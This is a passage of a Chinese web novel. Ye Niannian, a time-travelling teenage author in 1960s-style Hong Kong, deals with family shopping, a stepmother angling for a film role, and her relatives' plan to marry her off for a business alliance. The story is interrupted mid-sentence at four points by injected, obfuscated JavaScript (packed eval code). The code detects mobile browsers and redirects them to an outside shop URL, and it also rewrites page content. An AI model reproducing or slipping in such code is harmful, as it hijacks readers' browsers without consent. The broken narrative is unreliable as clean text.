前面说过了,叶念念这边两个妈和三个孩子都不太爱去这种主宅的酒宴,但有时候也没办法,她们这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶盛鸿这次逛女装店倒是没有不耐烦,时不时瞄一瞄店里挂着的衣服,听见自家老妈的话就说道,“怡人姐不喜欢穿裙子你就给买裤子和衬衫嘛,用得着这样吗?” 陈明翠看了一眼傻儿子,“你懂什么?裙子可不能没有。走,咱们再去买几个包,这个好选。” 这个时代的名牌包还不用配货,看上哪个就能买哪个。不过贵也还是贵,几千港币起步,一个包就能花掉港城普通人的半年工资。 叶念念看见了几个经典款,觉得这些个名牌五十年后的设计还不如现在。 陈明翠买完包之后又给叶盛鸿和叶念念定了皮鞋。 挑首饰的时候,虽然叶怡人还是不在,但首饰是可以换的,陈明翠就给叶怡人多挑了些黄金首饰,不过买的时候她还是唠叨,“这些个手链手镯估计也就是个待在保险柜的结果,好在黄金不会贬值,给她存着也好。” 虽然这次买东西叶怡人不在,但存在感是一点都不小,翠妈时不时就得唠叨一句。叶盛鸿和叶念念耳朵都要起老茧了,互相对视一眼,都看到了对方脸上的无奈。 今天一天的花费就超过两万港币,像这样的购物一年至少三次,哪怕叶兴德那边每年都会给置装费,但陈明翠仍然会觉得心疼。 可心疼也没法子,在叶家这种是基本支出,省不得。以前还好,孩子们小,衣服定做就行,也不用什么首饰,现在孩子们长了,各种支出也就多了起来。 陈明翠算了算上个月面包店的盈利,心里踏实了点。面包店的生意不错,店面又是自己的,因为叶盛鸿那边的关系还不用给那些帮派随份子,赚得很是不少。 19.第 19 章 中秋节这天,巧妈翠妈先带着三个孩子去了叶兴德那里,叶兴德并不在,他自己先去那边。不过他已经请好了车,一共三辆,旬太太带着孩子坐一辆车,巧妈翠妈一辆,五姨太六姨太一辆。 因为内巧妈翠妈加上孩子五个人坐不下所以叶念念这个最小的被分去陪着五姨太和新进门的六姨太。 五姨太身边只有一个八岁的男孩,名字叫做叶盛君,模样不错,人也乖巧,在车上不太讲话。 六姨太罗秋芬因为还在怀孕,受不了车上的味道有点晕车,就坐在副驾驶上。 叶念念跟着五姨太母子一起坐在后排。 五姨太单水儿这次对着叶念念格外殷勤,叶念念上车,她直接挽起她手的说,又是夸她人越长越漂亮又是说她学习好的。 五姨太单水儿早年在港城电视台演过电视,不过她虽然漂亮,但漂亮得没什么特色,只在几部剧里演过龙套角色,完全不出名。后面她傍上了叶兴德,倒是靠着叶兴德的关系当了一部电影的女主角,但那部电影的票房也不怎么样。后面她怀孕,有两年没拍戏,复出之后干脆就做了电视台的员工。 叶兴德这人虽然喜新厌旧,但到底还是有点良心,处理家事也不会装糊涂,家里几个太太相处的时候面子上都还过得去。 陈明翠和黄盼巧也就刚到港城的时候和单水儿争过一段时间,到了现在不争了,碰着了也能给个笑脸说几句话。 单水儿扯着叶念念说话,倒是把亲儿子扔在一边,不过叶盛君脾气不错,在一旁踢着腿,一点都不在意亲妈的忽视。 单水儿一阵寒暄之后就说起了叶念念写小说的事情,“念念,你写得那两本书我都看过了。” “写得可真好!” “尤其是那个《穷鬼天师》,主角那个吴钱……” 叶念念头有点发晕,她们坐的是轿车,有几段路不太好,车里颠簸,单水儿身上的香水味又重,她有点受不了。 坐前排的罗秋芬的脸色也不太好,她可怀着孕呢,虽然过了反应最大的孕初期,但依然比常人敏感很多。 叶念念连忙把车窗摇下来,又让司机开稳点。 风吹进来的时候,单水儿虚摸了几下定好型的头发,本想说两句,瞧着车里面两个人的脸色都不太好才闭上嘴。 一会儿之后,她又凑到叶念念旁边。 叶念念礼节性的回应,“没想到您也喜欢,我也就随便写写,没想到报社给过了。” 听着是有些凡尔赛,但在单水儿面前还是凡尔赛好些,因为这个小妈平日里更加凡尔赛。 单水儿笑盈盈地说,“所以说你有天赋嘛,我也见过好多根本写不出名堂的,你这才多大啊,就比他们写得好了,比他们厉害多了。” 叶念念道,“没那么厉害,运气而已。” 罗秋芬坐在前面,偷偷用后视镜观察着后面的情况,虽然已经进门几个月了,但因为陈明翠和黄盼巧是带着孩子分开来住,不常过来,她对这边情况还不太熟。 叶念念写小说最近在家里提了好些次,她有了印象,这次把人给对上了,也记得更清楚些。 单水儿道,“什么运气,光靠运气可不行。念念你这是有实力,然后运气来了挡都挡不住。” 她今天真的是少见的殷勤,漂亮的脸上笑得像花一样,平日里只会在讨好叶兴德的时候有。 没过多久,她就说出了自己的目的。 “念念啊,我听说你写的那本《穷鬼天师》被王导看上了,要拍电影?” 这个消息叶念念没听说过。 不过《穷鬼天师》单元回的形式很适合拍电影,背景也是现代都市,虽然有点鬼怪元素,但也不多,这几年港城正是喜剧片吃香的时候,《穷鬼天师》足够搞笑,报社那边龚小姐说好像有电影公司有意向买下来拍电影。 不过也就是个意向而已。 《穷鬼天师》是火,但还没火成现象级,火到刚刚连载两个多月就能被抢着拍电影的地步。 闻言叶念念露出惊讶的神色,“还是五太太你消息灵通。” 单水儿刚想笑就听见叶念念又说,“我这边都还不知道,你那边就有消息了?” “王导?是去年拍了《别院惊魂》的那个王导吗?我看过他的电影,恐怖片拍的可真好。” 王导不是什么知名导演,拍过的几部都是不入流的恐怖片,票房和口碑都一般的那种。也就是叶念念写影评,涉猎广泛,这才会看过他的作品。 单水儿觉得叶念念有点阴阳怪气,但瞧着她单纯稚嫩的脸又觉得是不是自己多想了。 她只得再次扬起笑脸,“就是他,他也看《穷鬼天师》,可喜欢这本小说了,前几天和一个编剧喝酒的时候说是准备买下来拍,你那边还没收到消息吗?” 叶念念摇摇头,茫然道,“没有啊!他是不是没和我的编辑联系?我的编辑龚小姐上个星期说是有几家公司想买,其中可没有王导。” 叶念念报出了那几家公司的名字,有一家名气极大,单水儿听着就眼热。她虽然没什么明星运但一直就没放弃过当明星的念头,这次是要改编自家人小说的电影,用人方面难道不能利用关系运作运作吗?她私下把《穷鬼天师》的连载内容都看完了,已经看上了吴钱小姨妈那个角色。 这个角色突出一个人美心善胸大无脑,桃花运飞起,但没一个善缘,给主角带来了不少麻烦。单水儿觉得这角色真的适合她啊,角色戏份不少,但不是和男主角搭戏的女一女二,应该属于女三女四,竞争不算激烈。论长相,单水儿可不觉得自己会输给其他人,论演技……这个角色对演技的要求可不大,而且角色年龄也合适。 单水儿一把搂住叶念念,“好姑娘,告诉五姨娘,你打算卖给哪家公司?” “能不能把我也一起推荐给他们?” “我觉得你写的那个小姨妈简直就是我啊!” 叶念念享受了一把亲爹叶兴德的待遇,被单水儿用胸怼脸。 很香很软让人无法呼吸。 可惜她不是蕾丝。 但也还是有点受不了,只能老老实实的说,“还没谈好,编辑那边建议我再多等等。” 几家谈的改编费都在五万左右,确实不算低。但叶念念受后世大IP观念影响,觉得自己小说正在连载,改编太烂很可能反过来给小说带来不良影响。如果找到靠谱的导演,电影获得成功,那《穷鬼天师》那么多单元,完全可以拍成单元剧,起码五部以上,到时候更容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15874741|175750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈上价。 现在知名编剧一部剧本可以卖到十万,她这边是卖单元版权,总不能比这低。 全文九个单元,要是能拍九部,不光是版权费,这也代表了许多的观众,不低的影响力,等她小说出版又是一大笔的稿费。 单水儿听到要等等连忙道,“等什么,可别等了,电影还是要早早拍才好,你这边签约一下,那边选演员拍摄,弄得好三个月正好能赶上过年的档期!喜剧可最适合在过年的时候上映了。” 这个时候港城拍电影的速度极快,一个月拍完的也大有人在,不过上映前期选角用心一些是要多耗费一点时间,两三个月也是正常。 叶念念因为夜星报社搞八卦的原因,对港城几家知名制片厂、包括他们之间的矛盾都了解一些。 她本来是决定等一等,但看着单水儿这么心急,她脑子灵光一闪想到个主意。 她佯装为难的说道,“可是我不了解这些,要是被骗了怎么办?我下一本写的可不一定有《穷鬼天师》这么受欢迎。” “而且……”她说道,“要是第一部拍得太差回不了本,那还会不会拍第二部?” “我记得勾吴有一本小说也是,拍了上部没下部吧,我写得是单元回,可以拍好多部呢,第一部差了后面就可能出不来。” 单水儿只想抢角色的确没想过叶念念这本小说可以拍好多部电影的事情。 不过叶念念一说,她心里就更加急切了。 好几部!要是都拍出来,那自己岂不是可以借着这个角色出名了? 那这本小说的确是要找个靠谱的好团队来拍。 单水儿虽然拍的烂剧居多,但正是因为烂剧她待多了,各种不同的烂法她都遇到过,所以也知道哪些剧组靠谱,哪些个导演更有本事。 她拍拍叶念念的手,“这事的确要慎重,你得好好选。” 叶念念笑得天真无邪,“您是圈子里面的老人了,您肯定比我懂,要不您去帮我问问看?要靠谱的,最好能拍很多部,一直拍下去的那种。” “我也觉得《穷鬼天师》里面小姨妈这个角色很适合五姨太您,要是能拍,我肯定在导演面前推荐您。” “咱们可是一家人。” 单水儿得了保证,自然也是点点头,“我们是一家人,当然要互相帮助,有好事肯定要想着对方嘛!” 她笑得艳光四射,神采飞扬,“不是姨自夸,我可是在这个圈子里混了快二十年,那些知名导演我都认识,你的小说那么好,我肯定能给你推荐出去。” 罗秋芬依然捂着鼻子,不过透过后视镜瞧见单水儿和叶念念的互动,听着那句一家人的说法,她心里舒服了不少。 她的确没选错人,叶兴德虽然不是个东西,但勉强还算有点人样,家里没有乱七八糟,几个姨太太关系都还不错。自己生下孩子,不管生得是男是女,处境应该不会变。 叶念念也觉得挺高兴的,没想到这次来还有意外收获。 她本来是不着急版权问题,但单水儿上杆子找上来,她正好利用一下。单水儿毕竟是圈内人,比她懂,而且事关她自己的前程,肯定也会用心,哪怕她没找到合适的也不用担心,因为最终决定权还是握在叶念念自己手里。 20.第 20 章 叶家主家的住宅位于天明山山顶。 港城地方不大,天明山虽然海拔只有五百多米,但地处高位,能俯视海港,算得上难得风景绝佳的地方。 叶家五十年代开始把家业转移到港城,这天明山原是港城大嘤人的居住地,1954年天明山禁令华人入住的解除之后,叶家走了各种关系最后花了大价钱买下一块不小的地,建成了今日这栋气派的豪宅,叶家也成为第二批搬进这里的富商。 豪宅建好的时候,叶家当时做主的还是叶兴德的父亲叶老爷,那时宅子里住了不少人。1959年叶念念和家人一起到港城的时候也在这栋豪宅里住过几年。 如今物是人非,叶念念的大伯当了家,叶兴德搬离了这里,其他房的人也都离开了,这里现在只住着叶老太太和叶兴业一家以及二房的那对孤儿寡母谭素华叶盛远。 叶兴德因为要时常来陪叶老太太的原因,这栋宅子里仍然为他留了房间。 等叶念念她们这边的三辆车到了叶宅门口,时间才早上十点,但里面的车已经停不下了。一直在新加坡的大姑今年也带着几个孩子也过来了,几个叔公也各自带了人过来,加上三房五房比他们早,也都是用了车,她们的车只得停在路边。 每年过节,除非一大早就赶过来,不然总会遇到这种情况。 别墅里倒是备着车库和停车位,奈何人太多总是不够。 她们下了车,稍稍整理了一下衣服,被佣人领进去了。 开车的司机也被带进去,他们另有一桌饭菜。 叶怡人以前一遇到这种场面,整个人就焉了吧唧。黄盼巧可不准女儿这样,给她进行过好几次特训,装也要装出点样子,她现在就一副冰山美人莫挨她的模样。 叶念念被带在陈明翠身边,平日里她都是学生装扮,今天用心了一回。穿着一条嫩黄色的长裙脖子上戴着一条珍珠项链,手上戴着黄金的手链,头上的发饰则是一对粉钻的发夹,东西不是特别贵重,但很适合她这个年龄的少女,瞧着就青春靓丽娇俏可爱。 叶盛鸿穿着西装皮鞋,头发上抹着油,看上也规规矩矩。 穿过外门,大伯的原配钱太太站在门口招呼她们,另一边还站着二房的谭太太,谭太太身边则是站在她儿子叶盛远。 两边人是分开站的,虽然都笑着,但也能让人感觉到隔阂。 大房之争远不是黄盼巧和陈明翠这种小虾米能参合的事情,她们也不想参合,带着女儿跟在旬太太后面一起先跟钱太太问好,然后再和谭太太打招呼。 叶盛鸿和叶盛远比较熟,两人多说了几句,叶盛远还扯着叶盛鸿耳语了一会儿。 连叶念念这样不太关注主宅的人都已经能够察觉到,钱太太和谭太太的争夺恐怕要进入白热化了。 这倒也是,大伯现在都五十多岁了,叶家还确定不了继承人,大家的心思可不就多了吗? 不过说实话,这继承人真的不太好选。 大伯现在有亲儿子、跟他姓的亲外孙,叶盛远虽然样样不差,可在血缘上总要差了那么点意思。 可让大伯去选其他人,大伯又不太甘心。 亲儿子长得丑,母亲出身又差,血统还不纯,有别国血统在港城也不算少见,但人家都是什么嘤国髪国,他这个就是的东南亚原住民血统,他瞧着都烦,明明这个儿子已经十来岁了,但他就是生不出多少好感,每次见到就觉得又丑又蠢,真丢人! 他的亲外孙,倒是白白净净长得可爱,他也真的很喜欢,但毕竟年龄太小,以后到底怎么样还不好说。 叶盛远虽然不是亲生的,但一直都是他教养,和跟亲生的也差不了多少。 距离开席还有一个多小时,叶家这么多人就在宴会厅闲聊。 这是往年对叶念念和叶怡人来说最无聊的场面了。 今年则是有些不同。 叶怡人那边依然无聊,叶念念这边就不一样了。 她现在写小说,也算是有点名气了,再加上小报那边的八卦,叶家人基本都知道这件事情了。时不时就有同龄人跑过来问东问西。 甚至她大伯叶兴业也特意来找她说了两句。 叶念念猜测应该是因为他也一起被写上报纸的原因。 她年龄小,四房也不太惹事,所以知道了的人哪怕是长辈也都是夸奖居多。 唯一例外的就是三姨婆了。 三姨婆今年六十多岁,她一家从叶家主宅搬出去没几年,丈夫三叔公就过了,之后他们家情况一直不太好。 叶老太太对丈夫的几个弟弟不太管,三姨婆跑来哭穷,她一般都装耳背。也就是叶兴业要面子避不开,只能帮着安排几个工作。不过三姨婆的儿子都没什么出息,两个成年的孙子也看不出个好样,叶兴业给介绍的工作都是底层普通员工,他们勉强入职,每个月收着工资,却又看不上。 三姨婆对大房这边一直不满,可她靠着大房吃饭,不能真闹开,就爱逮着其他人说些不好听的话。 四房这边小老婆生的叶念念在她看来就是个任意揉搓的软柿子,听见家里其他人都说这个小姑娘有出息,她就不舒服,一定要说两句。 这时候正好叶念念离开了亲妈那边,跟着几个小辈说话,她就出来了。 “要我说,这么一个姑娘家家的,写什么报纸啊!不也是抛头露面的吗?那些个所谓的文化人,私生活可乱着呢,我就见到报纸上说那什么有名气的女作者看上了有妇之夫呢!”三姨婆在叶念念面前,眼睛斜瞄着另一边远处的陈明翠,“你本来就是个姨娘生的,你亲娘也不是什么守规矩的大家闺秀,你们可更得注意。” “毕竟是叶家的姑娘,可别真粘上那些不干不净的事情,又被那些个报纸登上去,弄得众人皆知。” “哼,到时候弄得我们的名声都不好。” “我看你那小说也别写了,规规矩矩读书,老老实实嫁人就行。你好歹姓叶,有这张小脸嫁入个富人家,做个富太太不好吗?” 叶念念保持着微笑,她仿佛在看一个生活在大清,满口贞操守节的老古董,瞧见的是珍稀动物,听到也只想发笑。 哦对,大清是1912年亡的,三姨婆那时候已经出生了吧,她的确是活在大清。 她正想开口反击呢,大房的叶芮丽就走过来了。 叶芮丽虽然生了个孩子已经做了母亲,但二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15881748|175750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出头的年龄依然年轻靓丽,打扮上也未有任何妇人的装束,她笑容可掬,话却毫不留情,“三姨婆,你还真有面子,居然在这里训人?真是前段时间我可是知道了,你和一个小你十来岁男人同居。” 叶念念忽闻大瓜,忍不住从上到下扫视了一遍三姨婆。 叶芮丽笑道,“三叔公也走了那么些年,你要找人我们叶家可不会拦着,现在可不是要立贞节牌坊的时候了,你不是也挺时髦的吗?这会儿怎么就守旧起来?还要教我们?” 她一点都没掩饰语气里的嘲讽。 叶念念将三姨婆面色不佳,顺势踩上一脚,“她是想让别人守旧,自己应该是不愿意守着那些早就被扔进垃圾堆的破规矩吧。” “不过同居?没想到三姨婆也喜欢老牛吃嫩草啊。”叶念念装作惊讶的遮住嘴巴,“只是……三姨婆不会这么蠢吧,这年龄小的男人总不能是图她老,肯定是看上钱了。” 她平日里素来乖巧,现在说话却刻薄,和叶芮丽一样,脸上依然是笑嘻嘻的,不听她说的内容,还真以为她是普通聊天呢。 三姨婆忽然被爆出私事,一张老脸都要挂不住了,她想训斥叶念念,可叶芮丽就在旁边。 叶芮丽和叶念念可不一样。 叶芮丽是叶兴业的小女儿,母亲是钱太太,在家里地位极高,叶兴业现在最看重的外孙就是她的孩子。 是三姨婆平日都想着要讨好的人。 所以三姨婆再生气对着叶芮丽也只能陪着一张笑脸,“芮丽小姐哪里听的谣言?我都多大年龄了哪能做出这种不要脸的事情来,肯定是听岔了。” “是我一个同乡,逃港过来,我瞧着他没地方住,让他暂时住在家里。” “老太爷不是说过吗?这同乡都要伸把手的。” 三姨婆可不会承认,只是她的反驳有些无力。 叶念念不置可否。 叶芮丽则是直言道,“可别这样卖老了,我最受不了你们这样。” 三姨婆不敢闹,憋着气去了旁边。 叶芮丽呵了一声,转头和叶念念攀谈起来。 她对叶念念的态度就温和了些,不过因为她平时心气就高,即便刻意温柔,依然也能感受到一丝锋芒。 “我也听了你写小说的事情,你才十五六岁,能上报纸已经很不错了,你在拔萃的成绩我也听几个朋友说过,一直是第一名,对吧!” 叶念念感觉到了她目光中的审视。 三姨婆无权无势,只仗着自己是长辈胡乱说话,她惹了就惹了。叶芮丽就不一样了。 叶念念在心里奇怪,自己写两篇小说就这么重要吗?不至于吧,要是自己以后真的成了知名作家,叶芮丽给个好脸很正常,但她现在这样,似乎有其他想法? 她只说道,“我平日里喜欢写书,投稿也是哥哥鼓励我,没想到真能上报。” 她故意表现得谦虚。 叶芮丽笑了笑,不提这茬,只说道,“四叔现在在奶奶那里,我带你过去,奶奶听说你出息,特意也给你准备了礼物。” 礼物这个词,叶芮丽刻意用了重音。 叶念念猜测这个礼物可能不一般。 21.第 21 章 叶老太太行动不便,住的是别墅一楼的一间套房,房间连着花园。因为晚上地上要睡两个仆人要守夜,主卧特别大。房间的装修也与整栋屋子不太一样。 港城崇尚英美,叶家宅子的装修就是富豪之间时兴的奢华西洋风,大厅挑高近十米,中间垂着水晶吊灯,两旁是弧形的楼梯,用的鎏金扶手,地上铺着地毯,房间也是类似的风格。 唯独叶老太太的房间,还是老式装潢,格子窗,木地板,床是高脚床,柜子也都是木质,也就厕所稍微进步一点,是冲水马桶。当然,虽然是老式风格,实际上一点都不便宜,木料用的都是最上等的,甚至有些是费了大力气从内地运过来的。 叶念念被叶芮丽带到叶老太太的房间,此时里面站着的人不少。大姑叶英兰和二姑叶云芳都在,她爹叶兴德也在旁边扶着老人家的手。 叶老太太全白的发丝规规矩矩的梳在脑后,因为今天是中秋,她身边的佣人给梳了个较为繁琐的发髻,银丝上坠着黄金。 她身上的衣服也是老式的旗装,颜色沉稳但绣着喜庆的玉兔追月。 叶念念先前在心里笑三姨婆是个大清老古董,实际上三姨婆至少会烫头穿的也正常,私底下说不清到底有多时髦呢。 家里真正的老古董是叶老太太,走进叶老太太的房间,便像是走进了一百多年前的封建社会,即使房间里阳光正好玻璃透亮每个角落都纤尘不染,也仍然会觉得陈旧得像是另一个世界。 叶老太太的精神头比前几年差多了,坐在椅子上,动作有些迟缓。 叶念念和叶芮丽先是给老太太问好,之后才跟其他人打招呼。 大姑叶英兰眼眶微红,一看就是哭了一场,她见着叶念念和叶芮丽也没遮掩什么,拿着帕子继续抹了抹眼角,然后带着笑跟她们问好。 叶英兰身后还跟着她的儿子儿媳女儿女婿。 这位大姑去新加坡那边好些年了,叶念念过目不忘,到还是想起来沪上时候她年轻时候的样子。不过儿子儿媳这些,她的确是认不出。 叶兴德把叶念念拉到身边,也跟大姐二姐介绍这是自家女儿。 叶英兰和叶云芳点了点头,叶英兰挑起眉,轻声问,“就是她?” 叶兴德点点头。 叶念念瞬间有了一种不祥的预感。 大姑和二姑都没说什么,带着家人出去和叶家其他人叙旧了,叶老太太的房间里面除了佣人和老太太本人外就是叶兴德叶芮丽和叶念念了。 叶兴德在老太太耳边说了几句话,老太太就把目光移到叶念念身上。 叶念念扯动嘴角努力露出一个甜美的笑容,“奶奶,中秋安康。” 周围的一切看似正常,但对她这么一个家族边缘人物来说,绝对不正常。 叶老太太仔细端详了叶念念一会,又把头转向叶芮丽那边。 叶芮丽点点头,说道,“奶奶,念念就是这辈最出色的丫头,长得好,学习也是第一,今年十六,年龄正合适。” 叶兴德也在旁边说,“以前娘你不是还夸过念念吗?她小时候可乖巧了。” 叶老太太过了一会才道,“略小了些,不过庄家那边孩子在国外读书,也不会这么快,应该能再等她两年。” 叶老太太说话的声音轻,叶念念却在心里皱起眉。 三姨婆那边说话难听,她是真的一点都不气,但现在她有点气了。 这些是什么人啊! 她才十六!这还是身份证明上的年龄,她刚到港城的时候为了读书改了年龄,实际上也就刚过十五。 这叶家就现在就打算拿她去联姻? 有病吧!读过法吗?懂法吗?真的以为自己有几个钱就能只手遮天无视法律把这里当大清? 然而气归气,叶念念依然维持着脸上的笑容,脑海里迅速回想起主家的一大堆事情。 叶芮丽…… 叶芮丽说的好听,说是奶奶给她准备了礼物,这礼物她自己怎么不要? 自己现在的年龄小了点,那年龄正合适的是谁? 自然现年24岁的叶芮丽了。 男方正在留学,怎么着都应该满二十了。叶芮丽是大伯的小女儿,也是钱太太最小的孩子,身份贵重,合适的联姻自然第一个会找她。 只是几年前,叶兴业和二房弟媳谭素华的奸情暴露,钱太太就对叶盛远有了意见。她本来不在意过继的事情,可要是过继来儿子把自己这个老婆都给挤出去了,那可不就成了笑话吗?然后就有了叶芮丽未婚先孕,生下了一个父不祥叫着叶兴业爷爷的外孙。 先不说那个庄家在不在意联姻对象未婚先孕的事情,钱太太这边就不可能舍了叶芮丽。 孙子可还没长大呢,在孙子接手家业之前可不得让叶芮丽先帮衬着些嘛,这个女儿是怎么都不能离开叶家的。 大房这边没了合适的姑娘,自然是到其他房找。 叶家别的不说,人口还是挺枝繁叶茂的。 叶兴德这个四爷是叶老太太亲生的,自然首先考虑。 四房现在的三个女儿,旬太太生的大女儿已经订婚了,婚礼预备着年底办。叶怡人虽然年龄更合适一些,但平日里不修边幅,也不爱与人交流,旁人提起她都说她是个怪人。叶念念虽然小,但是素来乖巧,长得也漂亮,现在又成了作家,自然更能拿出手。 我赚更多的钱,是为了让你们更好卖价吗? 叶念念都要气笑了。 然后她在脑袋里计算了一下反抗叶家会给她和两个妈带来多少麻烦。 作为叶家的一份子,既然享受了便利,自然也有可能要付出代价。 叶念念承认她有时候确实有点贪。其实她心里一直有个打算,准备趁明年港城改革婚姻法的时候,让两个妈和叶兴德离婚,再也不做妾。 只是她们的生意刚刚起步,有个叶兴德能给她们省下不少麻烦,叶念念虽然知道两个妈对这个丈夫的感情不深,但也不确定她们是不是真的能下定决心离婚。 叶念念一直拖着没提,打算找合适的机会。这不,报应就到了,她们得付出代价了。 叶念念没急着立马翻脸,只是装作茫然的样子,似乎没听懂他们在说些什么。 她现在虽然生气,却一点都不怕。 单论财力权力,她自然比不过叶家一根毛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15885146|175750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可她是个穿越者啊!她是个“先知”。 叶家主营黄金,她知道几个月之后,原本稳定的金价就会因为国际局势激荡起来。 黄金大涨,按道理是利好叶家,可要是提前做局,坑一把大的也简单。 叶念念脑袋里有主意,她也觉得自己确实能做到。 所以她仍然能保持冷静,脸上还能有笑容。 叶家其实没那么强,自己也不会那么轻易被人控制,她有的是办法反击。 叶老太太让叶念念凑近些,叶念念很乖的听话了。 然后叶老太太让佣人拿出了一只手镯要给叶念念戴上。 老太太的手已经虽然没什么老茧,但以为年龄,皮已经皱起,她握叶念念的手,叶念念马上就生出要把手抽走的冲动。 手镯的翠绿翠绿的,叶念念在蒋叔那学过一阵,知道这镯子水头好,不便宜,应该能值十来万,寻常人想买都难找。 手镯的款式老,应该有些年头了,叶老太太给叶念念戴上,但叶念念的手腕纤细,只一垂,手镯就自然而然的往下掉。 叶念念虽然不高兴,但也没糟践东西的爱好,把手镯往上顺了顺。 她像是假装不知道这手镯干嘛用的一样,扬起脸,“奶奶,这是送我的吗?好漂亮啊!” 叶老太太拍着她的手,语气中带着些许怀念,“这还是当年我娘留给我的呢。” 叶老太太又让佣人拿来了一本相册,佣人把相册拿给了叶念念,叶老太太说道,“这是庄家那孩子的相片,长得俊俏,虽然年长了些,但配你这么个漂亮聪明的孩子正合适。” 叶念念面带茫然之色,目光望向自己的父亲。 叶兴德也在笑,他在对叶老太太笑,“可不是嘛?绝对是天作之合。” 叶芮丽在笑,“奶奶你放宽心,我们家多少好姑娘,您想要的孙婿可跑不了。” 叶念念心里也在笑,笑这些人真的觉得自己是上帝了,能随便决定别人的未来。 叶老太太缓慢的点了点头,“那我就放心了,什么时候开席?现在几点了。” 叶芮丽道,“还有半个小时开席,等会父亲就会过来,我先陪您一会吧。” 叶芮丽在这里陪叶老太太,叶兴德就把叶念念扯到一边说悄悄话去了。 他瞄着叶念念,语气中带着一丝疑惑,“你不会闹吧!你奶奶这边打算让你这辈的女孩跟庄家的继承人联姻,你是孙女里面最出众的,你大伯这边说让你来。” “要是你不想联姻,我这边想想办法,看能不能换人,你可别现在嘴上答应的好,转身就反悔了。” 叶念念看着这个,好像又有了点良心的亲爹。 心里的确犹豫着要不要反悔。 她这个亲爹有时有良心,有时没良心,总让人狠不下心来恨。 叶兴德道,“不过我觉得这联姻不错的,庄益明可是庄家的继承人,庄家的家产以后都是他的,而且他和其他纨绔子弟可不一样,学习好,也挺洁身自好的。要不是芮丽这边有事,这桩婚事还轮不到你呢。” “你瞧瞧他的照片,是不是人模狗样的,不比你爹年轻的时候差?”